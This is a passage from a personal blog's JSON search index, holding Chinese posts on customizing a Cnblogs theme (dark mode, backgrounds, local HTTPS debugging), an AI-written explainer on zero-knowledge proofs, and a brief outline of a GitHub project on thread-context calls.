src=\"/images/18639559/3336551-20241229205743233-1848074130.png\"\u003e\u003cbr\u003e\n但是有些我不会的玩意找一下还不错。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229205758157-1835019636.png\"\u003e\u003cbr\u003e\n同步一下进度。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229210924385-1170661320.png\"\u003e\u003cbr\u003e\n想不明白为什么这个不生效，先无视了，先弄页面功能。\u003c/p\u003e\n\u003ch1 id=\"完事\"\u003e完事\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212058632-1839073253.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212121009-1308481978.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212135151-1107598882.png\"\u003e\u003cbr\u003e\n不错，有模有样。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212201618-1350386186.png\"\u003e\u003cbr\u003e\n白天丑死了，急需白天壁纸。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212258795-493638099.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212354031-220094126.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212651789-566035772.png\"\u003e\u003cbr\u003e\n不对啊我传完了才想起来我干嘛不用博客园的图床，傻了说是。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229212733469-1777826734.png\"\u003e\u003cbr\u003e\n等会？你说这是什么玩意儿？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229214719215-150764097.png\"\u003e\u003cbr\u003e\n乐了，这是什么，::before.dark？\u003cbr\u003e\n好吧没学过前端是这样的。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229214801551-957213124.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229214808439-1302250587.png\"\u003e\u003cbr\u003e\n这样就好了吧。\u003cbr\u003e\n好吧不行，问问gpt\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229214944565-803822247.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229215251936-1162609542.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229215303943-842338549.png\"\u003e\u003c/p\u003e\n\u003cp\u003e哦哦，这样可以了\u003c/p\u003e","title":"再战博客园美化（八）"},{"content":"上回说到。。。 我的博客总算有了一个亮色一个暗色主题可以切换了\n里面也有一个forFlow？ 找不到文章列表，没有进行替换。\n也行吧，以后再修，先埋雷先，反正我不是专业前端。（能跑不动原则）\n今天玩——背景图！ 欧，不，丑死了。\n白天黑夜的图片需要不同 卡片半透明磨砂 标头、页码按钮问题 文章不透明问题 第一个先不管了，反正我默认黑夜模式（没有那么多图来换）\n先从卡片半透明磨砂开始。\n我有一个看到px就会死的病（夸张手法），看到了就小改一下。\n没看到就不管了（）\n什么动静？\n你知道吗，你要是玩这种格式不标准，还不喜欢搞id的话，我就只能全部替换了。\n先code这么多，等会还要dowhile，不过现在，开溜。\n","permalink":"https://t1mmoc.github.io/posts/18637737/","summary":"\u003ch1 id=\"上回说到\"\u003e上回说到。。。\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170559953-1207772749.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170703036-90896050.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170816673-1339571278.png\"\u003e\u003cbr\u003e\n我的博客总算有了一个亮色一个暗色主题可以切换了\u003c/p\u003e\n\u003ch1 id=\"里面也有一个forflow\"\u003e里面也有一个forFlow？\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170652914-1484668097.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170724646-93724635.png\"\u003e\u003cbr\u003e\n找不到文章列表，没有进行替换。\u003cbr\u003e\n也行吧，以后再修，先埋雷先，反正我不是专业前端。（能跑不动原则）\u003c/p\u003e\n\u003ch1 id=\"今天玩背景图\"\u003e今天玩——背景图！\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170935150-403800654.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228170940975-1456626480.png\"\u003e\u003cbr\u003e\n欧，不，丑死了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e白天黑夜的图片需要不同\u003c/li\u003e\n\u003cli\u003e卡片半透明磨砂\u003c/li\u003e\n\u003cli\u003e标头、页码按钮问题\u003c/li\u003e\n\u003cli\u003e文章不透明问题\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e第一个先不管了，反正我默认黑夜模式（没有那么多图来换）\u003cbr\u003e\n先从卡片半透明磨砂开始。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171344325-1035975244.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171356795-459008740.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171402968-779484019.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171807232-173864584.png\"\u003e\u003cbr\u003e\n我有一个看到px就会死的病（夸张手法），看到了就小改一下。\u003cbr\u003e\n没看到就不管了（）\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171932543-330016736.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228171937319-1570142667.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228172012700-1544722783.png\"\u003e\u003cbr\u003e\n什么动静？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228173400365-1153076182.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228173430418-1059201789.png\"\u003e\u003cbr\u003e\n你知道吗，你要是玩这种格式不标准，还不喜欢搞id的话，我就只能全部替换了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228173750011-708689851.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228173755351-187990373.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637737/3336551-20241228174959635-665083115.png\"\u003e\u003cbr\u003e\n先code这么多，等会还要dowhile，不过现在，开溜。\u003c/p\u003e","title":"再战博客园美化（七）"},{"content":"连续剧更新了 佬提了一嘴，于是我发现我替换没替换完，现在好了。\n这是什么bug 明明存在forFlow，但是不让我查询？\n弄错了，用.就好\nlight dark回来了，vue没有检查我默认有没有赋值，他只会自己贴一个上去。\n算了，那就用vue的切换！\n不会吧。\n在call后出现已被定义，有问题。被重复引入了，但是是哪里？ 你的意思是\n我两个debugger没断到调用者？\n点了一下重启，然后加了个module，debugger删了，dark切换暂时注释，好了\n是哪一步解决的？我不知道。\n都不行，麻了。\n不要vue了 vue适合从头开始，但是我要配合原有的按钮，懒人不想重新弄个按钮\n其实非常简单，把ElementUI的暗色css留下，vue的切换功能删掉。\n完事，忙活我那么久。\n","permalink":"https://t1mmoc.github.io/posts/18637602/","summary":"\u003ch1 id=\"连续剧更新了\"\u003e连续剧更新了\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228161738498-1712554699.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228161645844-798715363.png\"\u003e\u003cbr\u003e\n佬提了一嘴，于是我发现我替换没替换完，现在好了。\u003c/p\u003e\n\u003ch1 id=\"这是什么bug\"\u003e这是什么bug\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228163528633-1825458858.png\"\u003e\u003cbr\u003e\n明明存在forFlow，但是不让我查询？\u003cbr\u003e\n弄错了，用.就好\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228163620561-276851736.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228164044693-1729457809.png\"\u003e\u003cbr\u003e\nlight dark回来了，vue没有检查我默认有没有赋值，他只会自己贴一个上去。\u003cbr\u003e\n算了，那就用vue的切换！\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228164202249-2112878337.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228164210972-184173830.png\"\u003e\u003cbr\u003e\n不会吧。\u003c/p\u003e\n\u003ch1 id=\"在call后出现已被定义有问题被重复引入了但是是哪里\"\u003e在call后出现已被定义，有问题。被重复引入了，但是是哪里？\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228164920341-1660057488.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165018664-1209625053.png\"\u003e\u003cbr\u003e\n你的意思是\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165030336-878232300.png\"\u003e\u003cbr\u003e\n我两个debugger没断到调用者？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165310802-339708150.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165323037-104172968.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165331799-1032324648.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165336654-1336604034.png\"\u003e\u003cbr\u003e\n点了一下重启，然后加了个module，debugger删了，dark切换暂时注释，好了\u003cbr\u003e\n是哪一步解决的？我不知道。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165708872-1013490974.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228165714286-1783482316.png\"\u003e\u003cbr\u003e\n都不行，麻了。\u003c/p\u003e\n\u003ch1 id=\"不要vue了\"\u003e不要vue了\u003c/h1\u003e\n\u003cp\u003evue适合从头开始，但是我要配合原有的按钮，懒人不想重新弄个按钮\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228170442921-1554732727.png\"\u003e\u003cbr\u003e\n其实非常简单，把ElementUI的暗色css留下，vue的切换功能删掉。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18637602/3336551-20241228170416984-1377186309.png\"\u003e\u003cbr\u003e\n完事，忙活我那么久。\u003c/p\u003e","title":"再战博客园美化（六）"},{"content":"再战系列更新到几来着。。。 （看一眼）哦，原来更新到五了！\n这一次，我直接来个连接到本机，在线调试！\n好了，似了。\nhttps是什么东西，我有吗？\ncsdn启动 真的假的，自签名还能过系统，这是拿了管理员权限？\nhttps://xiaoshen.blog.csdn.net/article/details/135893188\n我就知道。\n但是有点香啊，能直接这么简单的生成自签名证书\n思索，只需要证书，vite本身支持https\n（灵光一现）我本来不就有一个证书吗，整上！\n小窝的证书拿来给小屋用也是河里的对吧。\n不过这有效期好短，或者说，一年过得好快，一下子就到了要续的时间了。\n不过不知道不信任的证书夹在js加载里面，浏览器会不会直接拒绝。\n好的，似了。\n你知道吗，有时候ide是不准确的。不知道什么原因，反正跑起来了。\n能跑就不动了。 小窝没有配置localhost，的确如此。\n不过这并不妨碍我们继续，因为我本来也没打算用localhost访问。\n不对，我傻吧，为什么我不直接用127.0.0.1，这样甚至别人看到的不会是我调试中的画面。\n转头就把第一段公开的网址删掉了，你们就猜吧 本来用的是ipv6弄的，而且也不觉得ipv6公开了会有什么问题，不过还是藏着好了，迟一点公开也是迟一点好。\n虽然感觉个人隐私什么的根本不可能存在。\n哥，哥，你是从127.0.0.1里面拿到的js，为什么转头去了cnblogs里面找article.js啊，说好的站点隔离呢\n虽然cnblogs肯开放跨域为*我已经很感激了。\n算了，去问问ai好了。\nai没有给出正确答案\n写死得了：\n无语。\n这样总行了吧\n不错，这下正常了，可以直接在这里开发。博客园的服务器嗯应该随便抗住我带缓存的刷新吧\n先来解决白天问题\n几个dark啊服了\n你知道吗我有点被骗的感觉，说好的可以自定义呢。\n有一种可能，是vue支持自定义键，但是ElementUI把这个支持去掉了\nemmmmmmmmmmm\n行吧，这就是我自己编程结合别人的模板的坏处。\n改吧，改css。\n看个好玩的，不过这正常，ide怎么会想到这种事呢。\n什么鬼啊，哦好像也能理解。class可以加很多个。\nemmm\n话说我都用vue了干脆把这个按钮用vue操控吧。\n","permalink":"https://t1mmoc.github.io/posts/18635211/","summary":"\u003ch1 id=\"再战系列更新到几来着\"\u003e再战系列更新到几来着。。。\u003c/h1\u003e\n\u003cp\u003e（看一眼）哦，原来更新到五了！\u003cbr\u003e\n这一次，我直接来个连接到本机，在线调试！\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227111515845-1879678246.png\"\u003e\u003cbr\u003e\n好了，似了。\u003cbr\u003e\nhttps是什么东西，我有吗？\u003c/p\u003e\n\u003ch1 id=\"csdn启动\"\u003ecsdn启动\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227105948533-1053980097.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110039033-1592654939.png\"\u003e\u003cbr\u003e\n真的假的，自签名还能过系统，这是拿了管理员权限？\u003cbr\u003e\n\u003ca href=\"https://xiaoshen.blog.csdn.net/article/details/135893188\"\u003ehttps://xiaoshen.blog.csdn.net/article/details/135893188\u003c/a\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110107223-1872411879.png\"\u003e\u003cbr\u003e\n我就知道。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110136795-2001102850.png\"\u003e\u003cbr\u003e\n但是有点香啊，能直接这么简单的生成自签名证书\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110305289-729834346.png\"\u003e\u003cbr\u003e\n思索，只需要证书，vite本身支持https\u003cbr\u003e\n（灵光一现）我本来不就有一个证书吗，整上！\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110400011-1708279762.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110414993-1511507760.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110419657-677934273.png\"\u003e\u003cbr\u003e\n小窝的证书拿来给小屋用也是河里的对吧。\u003cbr\u003e\n不过这有效期好短，或者说，一年过得好快，一下子就到了要续的时间了。\u003cbr\u003e\n不过不知道不信任的证书夹在js加载里面，浏览器会不会直接拒绝。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110937156-602041295.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110940615-700043181.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227110956597-3771706.png\"\u003e\u003cbr\u003e\n好的，似了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227111155346-91531758.png\"\u003e\u003cbr\u003e\n你知道吗，有时候ide是不准确的。不知道什么原因，反正跑起来了。\u003c/p\u003e\n\u003ch1 id=\"能跑就不动了\"\u003e能跑就不动了。\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227111301667-1848419428.png\"\u003e\u003cbr\u003e\n小窝没有配置localhost，的确如此。\u003cbr\u003e\n不过这并不妨碍我们继续，因为我本来也没打算用localhost访问。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18635211/3336551-20241227111412099-596372791.png\"\u003e\u003cbr\u003e\n不对，我傻吧，为什么我不直接用127.0.0.1，这样甚至别人看到的不会是我调试中的画面。\u003c/p\u003e","title":"再战博客园美化（五）"},{"content":"来点对比，没有对比没有伤害也~ 对了，上一篇文章我写的也是挺早的事情了。\n零知识证明为何方神圣？ 在当今数字化浪潮中，隐私保护成为了人们日益关注的焦点。而零知识证明（Zero-Knowledge Proof）技术，就像是一位神秘的卫士，悄然守护着我们的隐私安全。那么，究竟什么是零知识证明呢？\n零知识证明是一种密码学工具，诞生于 20 世纪 80 年代初，由 Goldwasser、Micali 和 Rackoff 三位密码学家提出。它允许证明者向验证者证明某个陈述是真实的，而无需透露任何超出该陈述本身有效性的信息。这就好比，你想向朋友证明你拥有某个房间的钥匙，但又不想让朋友看到钥匙的样子，通过零知识证明，你可以在不展示钥匙的情况下，让朋友确信你拥有钥匙。\n举个例子，假设阿里巴巴被强盗抓住，强盗索要开启山洞大门的咒语。阿里巴巴若直接说出咒语，虽能保命但咒语会泄露；若不说，强盗可能会杀了他。于是，阿里巴巴想出一个办法，让强盗离他 30 米远并用弓箭指着他，当强盗举起双手，他就念咒语开门；强盗放下双手，他就念咒语关门。强盗通过观察门的开合，相信了阿里巴巴知道咒语，而阿里巴巴始终未透露咒语的具体内容。这就是零知识证明的一个生动案例，它在不泄露关键信息的前提下，成功证明了某个事实的存在。\n零知识证明的魔法是如何施展的？\n零知识证明的 “魔法” 之所以能够施展，关键在于它独特的工作原理，这其中涉及到交互式与非交互式两种类型，同时承诺方案和挑战 - 响应协议也在其中起着关键作用。\n先来说交互式零知识证明，它要求证明者和验证者之间进行多次互动。验证者像是一个严苛的考官，会不断抛出问题来挑战证明者，而证明者则要绞尽脑汁回应这些挑战，直至说服验证者为止 。就好比色盲游戏里，Alice 是色盲，Bob 不是。Bob 手上有两个大小、形状完全一致，但颜色分别为蓝色与红色的球。Alice 怀疑两个球颜色是否真不一样，Bob 需要证明这点。Bob 让 Alice 拿起球放背后随机交换位置，再问 Bob 球是否交换过，要是 Bob 能看清球颜色，每次都能答对。多轮测试下来，只要 Bob 持续答对，Alice 就会越发相信 Bob 所言属实。不过，这种交互式方法存在局限：每次验证流程冗长繁琐；证明方与验证方必须同时在场；而且它只能取信一个验证者，面对多个验证者，就得重复多次证明过程；并且只在某个特定时刻有效。\n为攻克这些难题，非交互式零知识证明应运而生。这种方式下，证明者仅需在初次向验证者发送一个证明即可，后续验证者随时都能对该证明信息展开验证，而且仅需验证一次就能判断是否该相信证明者。例如数独游戏，Alice 要向 Bob 证明解开了数独难题，她将答案放入防篡改机器，机器遵循公开可验证协议，把数独每行、每列、每宫的卡片分别混淆装入袋子给 Bob。Bob 检查袋子里卡片，若都含 1 - 9 数字且无丢失重复，就能确认 Alice 解开难题，同时还没获取到任何关于数独解的实质信息。只是，这种证明方式往往需要更强算力来达成。\n零知识证明还依靠承诺方案和挑战 - 响应协议运作。承诺方案允许证明者用加密手段隐藏信息，做出承诺后无法更改。就好像把秘密锁进一个高科技保险箱，外人看不到里面是什么，而且锁上后就定型了。而挑战 - 响应协议呢，是验证者提出挑战，证明者依照自身掌握的信息给出响应。这类似一场问答较量，验证者出招，证明者凭借真本事巧妙接招，以此证明自己确实手握关键 “情报” 。通过这一系列复杂又精妙的流程，零知识证明才能在不泄露隐私的同时，完成对事实的有力证明，施展它神奇的 “魔法”。\n零知识证明的神奇之处体现在哪？ 零知识证明的神奇之处，首先体现在其强大的隐私保护能力上。在这个信息如洪流般奔涌的时代，隐私泄露的风险犹如高悬的达摩克利斯之剑，时刻威胁着我们。而零知识证明就像是一座坚固的堡垒，能够有效地保护个人隐私信息不被泄露。例如，在区块链交易中，用户可以使用零知识证明来隐藏交易的发送方、接收方以及交易金额等敏感信息，使得交易在保持匿名性的同时，依然能够被验证其真实性，这就如同给交易披上了一层无形的保护衣，让窥探者无从下手。\n除了隐私性，零知识证明还具有高度的可验证性。验证者可以通过特定的验证过程，确信证明者所陈述的事实是真实有效的，而无需深入了解其背后的具体细节。这种可验证性为许多需要信任机制的场景提供了可靠的解决方案。比如在电子投票系统中，选民可以利用零知识证明来表明自己的投票是合法且真实的，而不会泄露自己的投票选择，从而确保投票过程的公正性和保密性，让每一张选票都能真实反映选民的意愿，同时又能防止投票信息被篡改或滥用。\n在效率方面，零知识证明也有着出色的表现。相较于传统的证明方法，它能够显著减少信息的传输量和验证所需的计算资源，大大提高了处理效率。以大规模数据验证为例，在一些分布式系统中，数据的验证往往需要耗费大量的时间和资源，但通过零知识证明技术，可以快速且高效地完成验证工作，使得系统能够更加流畅地运行，就像是为数据验证开辟了一条高速公路，让信息得以快速、安全地流通。\n正是因为这些显著的优势，零知识证明在众多领域都展现出了广阔的应用前景，为各种复杂的问题提供了创新性的解决思路和方法，成为了推动科技发展和保障信息安全的重要力量。\n零知识证明真有那么神吗？ 尽管零知识证明技术有着诸多令人瞩目的优势，但它也并非完美无缺，在实际应用中仍面临着一些挑战和局限性。\n首先，零知识证明的计算过程通常较为复杂和密集，需要消耗大量的计算资源和时间。这对于一些计算能力有限的设备或场景来说，可能会带来较大的负担，甚至影响系统的整体性能。例如，在一些资源受限的物联网设备中，运行零知识证明算法可能会导致设备的响应速度变慢，能耗增加，从而限制了其在这些领域的广泛应用。\n其次，零知识证明的概念和技术对于大多数非专业人士来说，理解和掌握起来具有一定的难度。其背后涉及到的复杂数学原理和密码学知识，使得其应用和推广受到了一定的阻碍。这也意味着在实际应用中，需要专业的技术人员来进行开发和维护，增加了使用成本和技术门槛。\n此外，零知识证明技术的安全性虽然在理论上有一定的保障，但在实际应用中，仍然可能受到各种攻击和漏洞的威胁。例如，量子计算技术的发展可能会对现有的基于数学难题的零知识证明算法构成挑战，一旦量子计算机的计算能力足够强大，就有可能破解这些算法，从而导致隐私泄露和信息安全问题。\n虽然零知识证明目前还存在一些不足之处，但随着技术的不断发展和进步，这些问题有望逐步得到解决和改善。未来，我们可以期待零知识证明在更多领域发挥其独特的优势，为我们的数字生活提供更加安全、高效、便捷的保障。同时，我们也应该保持理性和谨慎的态度，不断探索和创新，以充分发挥零知识证明技术的潜力，推动其在各个领域的广泛应用和发展。\n结语 零知识证明无疑是一项具有重要意义和潜力的技术。它在隐私保护、可验证性和效率等方面展现出的独特优势，使其成为了众多领域关注和研究的焦点，为解决现实世界中的诸多问题提供了新的思路和方法。尽管目前还存在一些挑战，但随着技术的不断演进和完善，我们有理由相信，零知识证明将在未来的数字世界中发挥更加关键的作用，为我们构建一个更加安全、可信、高效的信息环境。让我们共同期待零知识证明技术在未来不断突破，创造更多的可能性，为科技发展和社会进步贡献更大的力量。\n","permalink":"https://t1mmoc.github.io/posts/18633291/","summary":"\u003ch1 id=\"来点对比没有对比没有伤害也\"\u003e来点对比，没有对比没有伤害也~\u003c/h1\u003e\n\u003cp\u003e对了，上一篇文章我写的也是挺早的事情了。\u003c/p\u003e\n\u003ch1 id=\"零知识证明为何方神圣\"\u003e零知识证明为何方神圣？\u003c/h1\u003e\n\u003cp\u003e在当今数字化浪潮中，隐私保护成为了人们日益关注的焦点。而零知识证明（Zero-Knowledge Proof）技术，就像是一位神秘的卫士，悄然守护着我们的隐私安全。那么，究竟什么是零知识证明呢？\u003cbr\u003e\n零知识证明是一种密码学工具，诞生于 20 世纪 80 年代初，由 Goldwasser、Micali 和 Rackoff 三位密码学家提出。它允许证明者向验证者证明某个陈述是真实的，而无需透露任何超出该陈述本身有效性的信息。这就好比，你想向朋友证明你拥有某个房间的钥匙，但又不想让朋友看到钥匙的样子，通过零知识证明，你可以在不展示钥匙的情况下，让朋友确信你拥有钥匙。\u003cbr\u003e\n举个例子，假设阿里巴巴被强盗抓住，强盗索要开启山洞大门的咒语。阿里巴巴若直接说出咒语，虽能保命但咒语会泄露；若不说，强盗可能会杀了他。于是，阿里巴巴想出一个办法，让强盗离他 30 米远并用弓箭指着他，当强盗举起双手，他就念咒语开门；强盗放下双手，他就念咒语关门。强盗通过观察门的开合，相信了阿里巴巴知道咒语，而阿里巴巴始终未透露咒语的具体内容。这就是零知识证明的一个生动案例，它在不泄露关键信息的前提下，成功证明了某个事实的存在。\u003cbr\u003e\n零知识证明的魔法是如何施展的？\u003c/p\u003e\n\u003cp\u003e零知识证明的 “魔法” 之所以能够施展，关键在于它独特的工作原理，这其中涉及到交互式与非交互式两种类型，同时承诺方案和挑战 - 响应协议也在其中起着关键作用。\u003cbr\u003e\n先来说交互式零知识证明，它要求证明者和验证者之间进行多次互动。验证者像是一个严苛的考官，会不断抛出问题来挑战证明者，而证明者则要绞尽脑汁回应这些挑战，直至说服验证者为止 。就好比色盲游戏里，Alice 是色盲，Bob 不是。Bob 手上有两个大小、形状完全一致，但颜色分别为蓝色与红色的球。Alice 怀疑两个球颜色是否真不一样，Bob 需要证明这点。Bob 让 Alice 拿起球放背后随机交换位置，再问 Bob 球是否交换过，要是 Bob 能看清球颜色，每次都能答对。多轮测试下来，只要 Bob 持续答对，Alice 就会越发相信 Bob 所言属实。不过，这种交互式方法存在局限：每次验证流程冗长繁琐；证明方与验证方必须同时在场；而且它只能取信一个验证者，面对多个验证者，就得重复多次证明过程；并且只在某个特定时刻有效。\u003cbr\u003e\n为攻克这些难题，非交互式零知识证明应运而生。这种方式下，证明者仅需在初次向验证者发送一个证明即可，后续验证者随时都能对该证明信息展开验证，而且仅需验证一次就能判断是否该相信证明者。例如数独游戏，Alice 要向 Bob 证明解开了数独难题，她将答案放入防篡改机器，机器遵循公开可验证协议，把数独每行、每列、每宫的卡片分别混淆装入袋子给 Bob。Bob 检查袋子里卡片，若都含 1 - 9 数字且无丢失重复，就能确认 Alice 解开难题，同时还没获取到任何关于数独解的实质信息。只是，这种证明方式往往需要更强算力来达成。\u003cbr\u003e\n零知识证明还依靠承诺方案和挑战 - 响应协议运作。承诺方案允许证明者用加密手段隐藏信息，做出承诺后无法更改。就好像把秘密锁进一个高科技保险箱，外人看不到里面是什么，而且锁上后就定型了。而挑战 - 响应协议呢，是验证者提出挑战，证明者依照自身掌握的信息给出响应。这类似一场问答较量，验证者出招，证明者凭借真本事巧妙接招，以此证明自己确实手握关键 “情报” 。通过这一系列复杂又精妙的流程，零知识证明才能在不泄露隐私的同时，完成对事实的有力证明，施展它神奇的 “魔法”。\u003c/p\u003e","title":"【AI版本】什么是零知识证明？零知识证明真的传的神乎其神吗？"},{"content":"这是一篇古老的文章，在线下完成了展示，并无意向重写到博客园。 github项目 SetThreadContextCall https://github.com/12UE/SetThreadContextCall 241 - 注入shellcode方式 253 - shellcode 626 - 主代码 - 679 - 参数传递。 154 - 单例构造 - 方法静态。 template＜typename \u0026hellip; Args＞：可变参数模板的解释和使用_Major的博客-CSDN博客 C++ 模板、多参讲解 520 - 参数讲解 C++ 简单的析构函数讲解 - 智能指针 ","permalink":"https://t1mmoc.github.io/posts/18633227/","summary":"\u003ch1 id=\"这是一篇古老的文章在线下完成了展示并无意向重写到博客园\"\u003e这是一篇古老的文章，在线下完成了展示，并无意向重写到博客园。\u003c/h1\u003e\n\u003ch1 id=\"github项目-setthreadcontextcall\"\u003egithub项目 SetThreadContextCall \u003ca href=\"https://github.com/12UE/SetThreadContextCall\"\u003ehttps://github.com/12UE/SetThreadContextCall\u003c/a\u003e\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e241 - 注入shellcode方式\u003c/li\u003e\n\u003cli\u003e253 - shellcode\u003c/li\u003e\n\u003cli\u003e626 - 主代码 - 679 - 参数传递。\u003c/li\u003e\n\u003cli\u003e154 - 单例构造 - 方法静态。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.csdn.net/qq_41375318/article/details/127080405\"\u003etemplate＜typename \u0026hellip; 